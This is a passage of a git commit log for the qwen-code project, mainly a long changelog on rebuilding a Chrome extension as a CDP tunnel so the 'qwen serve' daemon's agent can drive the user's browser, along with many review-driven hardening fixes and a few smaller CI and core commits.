extension's chrome.debugger.attach is async (it pops the debugger banner), but
forwardToTab forwarded page-domain commands immediately, so a fast puppeteer
Network.enable reached the extension before attachedTabId was set and failed
"CDP tunnel not attached to a tab". The mock extension acked attach
synchronously, which hid the race.

Add an attach gate in CdpReverseLink: forwardToTab awaits the in-flight
cdp_attach to settle (success or failure) before forwarding. Verified
end-to-end against REAL Chrome — puppeteer read the live active tab (a GitHub
PR page) through the tunnel: pages=1, real url/title/body returned.

Refs #5626.

* refactor(chrome-extension): delete Plan A side panel, content scripts, and reverse tool channel

Tears out the superseded Plan A surface so the extension can become a pure
CDP-tunnel pipe (chat moves to the daemon web UI, browser tooling runs as
chrome-devtools-mcp over the /cdp tunnel):

- src/sidepanel/ (side-panel chat UI)
- src/content/ (content scripts; the CDP tunnel drives DOM/Input via
  chrome.debugger, no injection needed)
- background reverse tool channel: browser-tools-server, browser-network-tools,
  network-capture-utils, browser-tool-executors, tool-catalog, tool-router,
  mcp-tool-result, browser-tool-types, and their tests
- public/sidepanel/sidepanel.html static asset

Refs #5626

* refactor(chrome-extension): rewrite service worker as minimal daemon CDP client

The service worker is now the entire extension logic: probe the daemon /health,
open the /acp WebSocket, send the ACP initialize handshake (the daemon closes
the socket on a 30s init timeout otherwise and binds this connection as the CDP
bridge at that point), then route cdp_* frames into the CDP bridge with capped
backoff reconnect. No more reverse MCP tool server (chrome-tools is gone).

cdp-bridge: drop the browser-network-tools import and the network-capture
mutual-exclusion branch in handleAttach (the network tools are deleted, nothing
to exclude); remove the now-unused isCdpTunnelAttached export.

Refs #5626

* build(chrome-extension): trim manifest, build config, and deps to the CDP pipe

manifest: drop content_scripts, side_panel, and the sidePanel/webRequest/cookies/
scripting/webNavigation permissions; keep only debugger/tabs/activeTab/storage
plus background, key, host_permissions, icons, and action.

build: background esbuild now has a single service-worker entry point (content
script gone); delete the UI esbuild/postcss/tailwind configs and drop the UI
build step + build:ui scripts; sync-extension no longer special-cases the gone
sidepanel assets; dev-watch no longer spawns the UI watcher.

deps: remove the side-panel-only deps (@qwen-code/webui, react, react-dom,
markdown-it, and the @types + the postcss/tailwind/autoprefixer CSS toolchain).

Refs #5626

* chore(chrome-extension): drop dead externally_connectable hook (#5626)

* test(serve): add real-Chrome /cdp local verification script (#5626)

* test(serve): add cdp-mcp-over-tunnel layer-C smoke check

* fix(extension): keep the CDP tunnel alive with chrome.alarms

MV3 service workers idle out after ~30s, so the tunnel silently dropped
whenever no puppeteer client was driving it and the user had to keep the
Service Worker DevTools open to hold the worker awake. Register a 30s
chrome.alarms keepalive: the recurring onAlarm dispatch holds the idle
timer off, and each wake of a terminated worker re-runs the top level to
reconnect.

* feat(serve): auto-register chrome-devtools-mcp over the CDP tunnel

Plan C (#5626) last mile: when `qwen serve` runs with the CDP-tunnel flag,
the agent should be able to drive the user's real browser. Rather than
hand-writing browser tools, auto-register the (patched) chrome-devtools-mcp
as a session MCP server pointed at this daemon's /cdp endpoint, so its 29
ready-made DevTools tools flow through the tunnel.

- run-qwen-serve: forward QWEN_SERVE_CDP_TUNNEL_OVER_WS + _PORT into the
  spawned ACP child via childEnvOverrides (same path as the MCP budget env).
- acpAgent: buildCdpTunnelMcpServer() injects the server into the
  top-precedence sessionMcpServers tier when the flag + port are present and
  the package resolves; trust left unset so tools default to 'ask' (no silent
  auto-approval of browser control); best-effort skip otherwise.

No settings.json edit and no hand-written tools required.

* fix(serve): gate CDP bridge registration to the extension (#5626)

Auto-registering every /acp initialize as the CDP bridge was last-writer-
wins. Once an ACP agent connects over the same /acp endpoint (web UI, Zed),
it would capture the bridge and receive cdp_* frames it can't answer,
stealing the tunnel from the extension. Gate registration on
clientInfo.name === 'qwen-cdp-bridge'; the extension (and the acceptance
mock) now identify themselves that way, while agent clients are left alone.

* feat(extension): open the web UI when the toolbar icon is clicked

The extension has no UI of its own (pure CDP-tunnel pipe; chat lives in the
daemon web UI), so clicking the toolbar icon did nothing after the side panel
was removed. Wire action.onClicked to open the daemon baseUrl in a new tab so
the icon is a useful entry point instead of a dead click.

* feat: host the web UI in a Chrome side panel (#5626)

The extension is a pure CDP-tunnel pipe with no UI of its own, so after the
side panel chat was removed the toolbar icon did nothing. Bring the side panel
back as a thin host that iframes the daemon web UI (chat + tools), so the
sidebar is the everyday entry point and reuses the web UI's pages/components
instead of shipping a second UI in the extension.

- extension: side_panel + sidePanel permission; sidepanel.html/js frames the
  daemon baseUrl; toolbar icon opens the panel (openPanelOnActionClick).
- daemon: the Web Shell sent frame-ancestors 'none' + X-Frame-Options: DENY,
  which blocked the iframe. Allow framing only for chrome-extension origins
  explicitly passed via --allow-origin; everything else still gets DENY.

* fix: prefer chrome-devtools over computer-use under the CDP tunnel + keep MV3 worker alive during attach (#5626)

Two issues surfaced driving the real agent:

1. The agent picked the OS-level computer-use tool (cua-driver) for browser
   tasks instead of the injected chrome-devtools-mcp — heavyweight screenshot/
   click loop that pegged a CPU and stalled turns. Disable computerUse when the
   CDP tunnel flag is on so browser automation goes through the tunnel.

2. The extension's MV3 service worker idled out *between* CDP commands (the
   agent pauses to think), detaching chrome.debugger and hanging the next
   command. Add a sub-30s keepalive while attached; the 30s alarm only covered
   idle reconnects, not in-flight attachments.

* chore(extension): stop tracking .extension-key.pem (signing private key)

The extension signing private key was committed and pushed — anyone with repo
access could impersonate the extension. Stop tracking it and gitignore *.pem.
Load-unpacked debugging needs only the public "key" in manifest.json, so this
doesn't affect dev on any machine; the .pem is kept locally for packaging.

* refactor(chrome-extension): flatten to packages/chrome-extension

Drop the mcp-chrome-integration wrapper + dead native-server (daemon-direct
no longer uses native messaging). The extension is now a top-level workspace
at packages/chrome-extension. Updated root workspaces, eslint globs, doc-path
comments, and the two node scripts' global directives. cli + extension builds
and eslint verified green.

* test(serve): assert cdp_tunnel_over_ws in the capability registry

The cdp_tunnel_over_ws capability was added to SERVE_CAPABILITY_REGISTRY +
CONDITIONAL_SERVE_FEATURES but the test's EXPECTED_REGISTERED_FEATURES and the
conditional drift-insurance branch weren't updated, failing 3 registry tests.
Add it to the expected list (after client_mcp_over_ws, matching registry order)
and add its assertion branch (predicate accepts/rejects the cdpTunnelOverWsEnabled
toggle).

* fix(serve): address review comments on CDP tunnel + client-MCP wiring (#5777)

- guard post-async ws.send() with readyState OPEN (daemon crash on extension
  disconnect, sendClientMcpAck + cdp endpoint sends)
- make client-mcp-sender-registry delete() ownership-aware (cross-connection
  server-name collision)
- type the __clientMcpOverWs runtime config flag carrier
- document the CDP tunnel trust model (loopback + bridge-gated dumb pipe)

* chore(cdp-tunnel): set copyright year to 2026 on files created this year

The Plan C / #5626 files were authored in 2026 but carried a 2025 header.
service-worker.ts (created last year under #1432) keeps 2025.

* feat(chrome-ext): add side-panel onboarding gate + fix packaging

The side panel framed the daemon Web Shell unconditionally and showed a
static "Connecting…" line. When no daemon was reachable, or the daemon
wasn't started with --allow-origin (so frame-ancestors blocks the iframe),
the user was stuck on "Connecting…" with no guidance, and discovery.ts's
health check was never wired in.

Wire a health/capabilities gate into the panel:
- probe GET /health, then GET /capabilities
- down                         → "Start qwen serve" + the exact command
- up but no `allow_origin` feat → "Allow this extension" + the command
- ready                        → frame the Web Shell

The command is built from chrome.runtime.id at runtime, so it always names
this extension's real origin (dev-unpacked or published) — no need to know
or hardcode the id, and no publish-first chicken-and-egg. The pure decision
helpers live in onboarding-logic.js.

Also:
- fix `npm run package` so manifest.json sits at the zip root (the old
  `zip ... extension/` nested it under extension/, which the Chrome Web
  Store rejects)
- gitignore that packaging zip; add a package README

Part of #5626. PR #5777.

* docs(cdp-tunnel): trim over-long Plan C comments (ponytail)

Comment-only: compress multi-paragraph design rationale to intent, keep the
non-obvious why (trust model, bridge gate, attach ordering) + ponytail
ceilings. ~-91 lines, no code touched, build + tests green.

* fix(serve): address second-round review comments on the CDP tunnel (#5777)

- close the bound /cdp puppeteer socket on extension disconnect (was hanging
  ~170s on CDP timeout) via an onExtensionGone hook
- reject a 2nd concurrent /cdp client instead of silently clobbering routeInbound
- narrow extension host_permissions from <all_urls> to localhost (chrome.debugger
  needs no host perm; only the /health fetch needs localhost)
- log safeWsSend drops under serve debug mode so a dead tunnel is diagnosable

* feat(chrome-ext): polish side-panel welcome into a terminal console

Replace the bare welcome with a console that matches the product (a CLI
daemon): the command is the hero, typed at a `$` prompt with a blinking
cursor inside a titled terminal card. Warm-charcoal / electric-lime,
light + dark aware (prefers-color-scheme), staggered load-in, a pulsing
"listening" status, and a reduced-motion guard. No web fonts / no inline
JS (the extension CSP allows neither).

No behavior change: same /health + /capabilities gate and the
chrome.runtime.id-derived command. Mechanics tidied alongside the markup:
visibility toggles a .hidden class (CSS owns the flex layout), the copy
button updates a label span, and the command is prefilled synchronously
so first paint isn't an empty prompt.

PR #5777.

* feat(chrome-ext): click-to-copy command + centered copy button

Make the onboarding command easier to grab: the whole command row is now
click-to-copy (keyboard-reachable, Enter/Space), and a centered "Copy
command" button sits at the foot of the terminal card. Both flash a
check-mark "Copied" confirmation; the small top-bar button is gone.

No gate-logic change. PR #5777.

* test(serve): cover CDP-tunnel + client-MCP regression guards

Add the four focused unit tests flagged in review for load-bearing
reverse-channel paths that had no coverage:

- ClientMcpSenderRegistry: ownership-scoped delete — a disconnecting
  connection must not remove an entry a peer re-registered under the
  same name.
- CdpTunnelRegistry: register/supersede/unregister lifecycle, inbound
  routing delegation, onExtensionGone-on-disconnect, and the
  stale-unregister guard that must not evict a newer active bridge.
- CdpReverseLink: a forwarded command rejects when its per-command
  timer expires (not just on bulk dispose).
- safeWsSend: drops (no send, no throw) on a CLOSED/CLOSING socket.

safeWsSend is extracted from acp-http/index.ts into its own module so
it's unit-testable in isolation; behavior unchanged.

PR #5777.

* fix(serve): address bot code-review findings on the CDP tunnel (#5777)

- cdp-bridge: tear down listeners before re-attach (was double-registering →
  duplicate cdp_event frames corrupting puppeteer)
- emulator: return a CDP error for an unknown session instead of fake success
- registry: notify the superseded bridge so the old /cdp closes (single-puppeteer)
- deps: move chrome-devtools-mcp + puppeteer-core to optionalDependencies (~26MB)
- tests: entry-script validation, deliverClientMcpMessage error branches,
  registry supersede

* fix(chrome-ext): revert side panel to welcome when the daemon stops

Once the panel framed the Web Shell it stopped probing, so if the daemon
later went away the iframe was left showing Chrome's localhost
connection-refused page with no way back. Keep probing after framing and,
after a short tolerance (2 misses, ~5s, so a transient blip doesn't nuke a
live chat), clear the iframe src and show the welcome screen again.

PR #5777.

* fix(chrome-ext,serve): address review comments on the CDP tunnel

- service-worker: redact the bearer token from the connect log, and guard
  connect() against a still-CONNECTING socket so a rapid reconnect can't
  orphan an in-flight handshake.
- acpAgent: don't clobber a user-configured `chrome-devtools` MCP server
  with the tunnel auto-wire.
- cdp-reverse-link: log dropped/unexpected inbound frames via an optional
  diagnostic sink instead of swallowing them silently.
- name the cross-package `qwen-cdp-bridge` client-name constant on both
  sides instead of repeating the bare string.

PR #5777.

* refactor(chrome-ext): inline onboarding helpers, drop dead pollTimer

onboarding-logic.js was a 65-line file (mostly JSDoc) for three trivial
helpers and a constant, split out "for testability" that was never used.
Fold them into sidepanel.js (decideState collapses into probeState's
return; resolveBaseUrl/allowOriginCommand become a one-liner each) and
delete the file + its import.

Also drop `pollTimer`: the welcome-fallback change made it write-only (the
only clearInterval was removed), which trips no-unused-vars.

PR #5777.

* fix(serve,chrome-ext): more CDP-tunnel review fixes

- sidepanel: pass the bearer token through the Web Shell URL fragment so a
  token-gated daemon doesn't 401 every framed request.
- server: throw if deps.bridge is injected without deps.clientMcpSenderRegistry
  (the bridge is already wired to its own sender; a fresh one would be orphaned).
- cdp-browser-emulator: surface unhandled browser-level CDP commands via an
  optional log sink (keep the empty-result ack, with a TODO).
- cdp-bridge: only treat "already attached" as ours when attachedTabId === tabId
  (a foreign DevTools owner now errors), and detach the previous tab on switch
  so Chrome drops its debug banner.
- build.js: add packages/chrome-extension to the build order so root build
  exercises the extension bundle.

PR #5777.

* fix(serve,chrome-ext): harden CDP-tunnel + client-MCP reverse channel

- client-mcp-ws: cap registered servers per connection (max 10) and re-check
  `disposed` after the provider round-trip so a WS close mid-register can't
  leave a zombie server; add registrar serverCount().
- acp-http: rate-limit client-MCP frames (mcp_register/unregister at the
  mutation tier, mcp_message at read) and cap concurrent fire-and-forget
  register/unregister dispatch (max 8) to stop DoS amplification.
- cdp tunnel: on /cdp puppeteer disconnect send a `cdp_release` frame so the
  extension detaches chrome.debugger instead of leaving the tab's debug banner
  up until /acp dies.
- acpAgent: skip chrome-devtools auto-registration (with a diagnostic) when the
  /cdp tunnel requires bearer auth — the ACP child can't authenticate to it.

PR #5777.

* fix(chrome-ext,serve): address second-round CDP-tunnel review

- service-worker: only the *active* socket's close tears down the bridge — a
  stale daemon-forced close must not detach the new connection's debugger.
- daemon config + sidepanel: fail closed on a non-loopback baseUrl so a tampered
  chrome.storage value can't exfiltrate the bearer token off-host (background
  fetch/WS bypass host_permissions).
- sidepanel: reentrancy guard on tick() so overlapping slow probes don't burn
  the framed-miss tolerance and flash the welcome screen mid-chat.
- cdp-bridge: reentrancy guard on handleAttach so overlapping cdp_attach frames
  can't interleave teardown and corrupt attachedTabId.
- add cdp-ws.test.ts: regression cover for no-bridge reject, second-client
  reject, onExtensionGone fail-fast, cdp_release on dispose, and the
  superseded-bridge cleanup guard.

PR #5777.

* fix(serve,webui): address third-round CDP-tunnel review

- safe-ws-send: wrap the debug-mode writeStderrLine in try/catch so a broken
  stderr (EPIPE on a piped/closed log) can't break the "never throw on a dead
  socket" contract production callers rely on.
- ChromeToolCall: index-access rawInput['name'] to satisfy
  noPropertyAccessFromIndexSignature.

PR #5777.

* fix(serve,chrome-ext): address #5777 review round 4

- acp-http: send mcp_error back on an unexpected client-MCP handler rejection
  (register/unregister callers otherwise hang); log when the inflight cap rejects.
- cdp-ws: log the happy-path cdp_release dispatch for oncall tracing.
- run-qwen-serve/acpAgent: don't pass a bogus "0" CDP-tunnel port for ephemeral
  --port 0, and emit a stderr diagnostic when the tunnel is disabled for a
  missing/invalid port instead of failing silently.
- cdp-bridge: handle a cdp_release that races an in-flight handleAttach so a late
  attach can't leave a debugger attachment with no live /cdp client.
- service-worker: close the WS on an ACP initialize error so the daemon doesn't
  keep holding a non-functional CDP bridge.

* fix(serve,chrome-ext): address pr-review findings (#5777)

- client-mcp-sender-registry: gate the child-side runtime-server teardown on
  ownership too (Config.removeRuntimeMcpServer is not owner-scoped), so a
  disconnecting connection can't kill a server a later connection re-registered
  under the same name. (P2)
- service-worker: carry the bearer token via the `qwen-bearer.*` WS subprotocol
  (matching the web-shell + daemon decoder) instead of a `?token=` query the
  daemon never reads, so a token-gated daemon no longer 401-reconnect-loops. (P3)
- run-qwen-serve: advertise client_mcp_over_ws / cdp_tunnel_over_ws in the
  bootstrap /capabilities too, matching the runtime path. (P3)

* chore(webui): remove unused ChromeToolCall component (#5777)

ChromeToolCall was added in a debugging commit but is never wired into the
tool-call routing (getToolCallComponent) — there's no `chrome` tool kind and
the only references were barrel re-exports. Dead code; remove it.

* fix(serve,chrome-ext): address #5777 review round 5 (diagnostics)

- service-worker: log the WS close code/reason so failure modes aren't
  indistinguishable (e.g. the daemon's 1011 "no extension connected").
- acpAgent: containment-check the resolved chrome-devtools-mcp bin path so a
  malformed `bin` field can't escape the package dir.
- cdp-tunnel-registry: log when a new extension bridge supersedes a stale one.

* fix(chrome-ext,serve): address #5777 review round 6

- cdp-bridge: ack the attach (as an error) before tearing down on a
  release-during-attach, so the daemon's reverse link doesn't hang ~170s
  waiting for a cdp_attached that never arrives.
- acp-http: rename isFireAndForget -> dispatchOffQueue + clarify the comment;
  register/unregister are dispatched off-queue but still expect a response ack,
  so the name no longer reads as "no response."

* fix(serve,cli): address #5777 review round 7

- config: warn (stderr) when QWEN_SERVE_CDP_TUNNEL_OVER_WS overrides an explicit
  tools.computerUse.enabled=true, so the effective config isn't a silent surprise.
- client-mcp-ws: document the intentional idempotency of handleUnregister.
- cdp-reverse-link: add tests for the attach gate — forwardToTab parks behind an
  in-flight attach, the cdp_attach timer rejects, and the gate opens on timeout
  so commands don't hang.

* fix(serve,core): address #5777 review round 8

- mcp-client: only treat the first stdio arg as a local entry script when
  it is clearly a filesystem path. A bare includes('/') also matched scoped
  npm package names (npx @scope/pkg), wrongly resolving them under the
  workspace and throwing before the runner ran. Adds a regression test.
- client-mcp-sender-registry: reject shadowedSettings so a browser-hosted
  WS client cannot shadow a user-configured MCP server name; roll back the
  child-side add.
- cdp-ws: close the puppeteer socket when /cdp attach fails so dispose()
  clears cdpBound/routeInbound, instead of a stuck tunnel until restart.

* fix(serve,chrome-ext): address #5777 review follow-ups

* fix(serve): satisfy CDP inbound frame guard typing

* fix(serve): address CDP tunnel review feedback

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: qwen-code-dev-bot <qwen-code-dev-bot@users.noreply.github.com>
Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-06-28 15:57:31 +00:00
易良
f876f4a250
ci: allow longer PR review timeout retries (#5961) 2026-06-28 15:41:04 +00:00
jinye
a93ec674e9
perf(cli): enable compile cache and defer getCliVersion for serve (#5938)
Enable Node.js compile cache (module.enableCompileCache) in the serve
fast-path so V8 bytecode is cached across daemon restarts. Start
getCliVersion() as a non-blocking promise and resolve it in parallel
with the runtime module loads inside buildRuntime(), removing it from
the pre-listen critical path.
2026-06-27 14:19:29 +00:00
tt-a1i
8e8ae1ed11
fix(core): stop computer use driver when idle (#5925)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
2026-06-27 11:18:01 +00:00
DongBo
d93bec9050
fix(serve): reject negative cleanupPeriodDays values (#5906)
POST /workspace/settings accepted negative values for general.cleanupPeriodDays because numeric setting validation only checked Number.isFinite(). The housekeeping runtime already treats non-positive values as minimum retention, so a persisted negative value could appear in settings while being silently ignored at runtime.

Add an optional minimum constraint to setting definitions, set general.cleanupPeriodDays to minimum 0, and enforce that floor in the workspace settings route. The route tests cover rejecting -1/-5 while keeping 0 and 30 accepted.
2026-06-26 23:46:15 +00:00
易良
8189141160
[codex] test(ci): cover post-merge review follow-ups (#5899)
* test(ci): cover post-merge review follow-ups

* test(core): scope skill activation timeout override
2026-06-26 22:08:57 +00:00
易良
8935398b12
fix(release): skip dist/node_modules when building standalone archives (#5878) 2026-06-26 03:41:38 +00:00